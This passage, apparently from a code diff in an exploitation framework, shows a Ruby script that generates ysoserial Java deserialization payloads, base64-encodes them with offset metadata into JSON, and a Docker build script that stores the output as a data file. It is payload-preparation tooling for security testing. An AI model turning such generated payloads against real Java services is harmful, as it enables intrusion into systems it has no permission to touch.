STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}"
end
payloadBytes = Base64.strict_encode64(empty_payload).gsub(/\n/,"")
if buffer_offsets.length > 0
results[payload] = {
'status': 'dynamic',
'lengthOffset': length_offsets.uniq,
'bufferOffset': buffer_offsets.uniq,
'bytes': payloadBytes
}
else
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
results[payload] = {
'status': 'static',
'bytes': payloadBytes
}
end
end
payloadCount = {}
payloadCount['skipped'] = 0
payloadCount['static'] = 0
payloadCount['dynamic'] = 0
results.each do |k,v|
if v[:status] == 'unsupported'
payloadCount['skipped'] += 1
elsif v[:status] == 'static'
payloadCount['static'] += 1
elsif v[:status] == 'dynamic'
payloadCount['dynamic'] += 1
end
end
unless debug
puts JSON.generate(results)
end
STDERR.puts "DONE! Successfully generated #{payloadCount['static']} static payloads and #{payloadCount['dynamic']} dynamic payloads. Skipped #{payloadCount['skipped']} unsupported payloads."

View File

@ -0,0 +1,5 @@
#!/bin/sh
docker build -t ysoserial-payloads . && \
docker run -i ysoserial-payloads > ysoserial_payloads.json && \
mv ysoserial_payloads.json ../../../data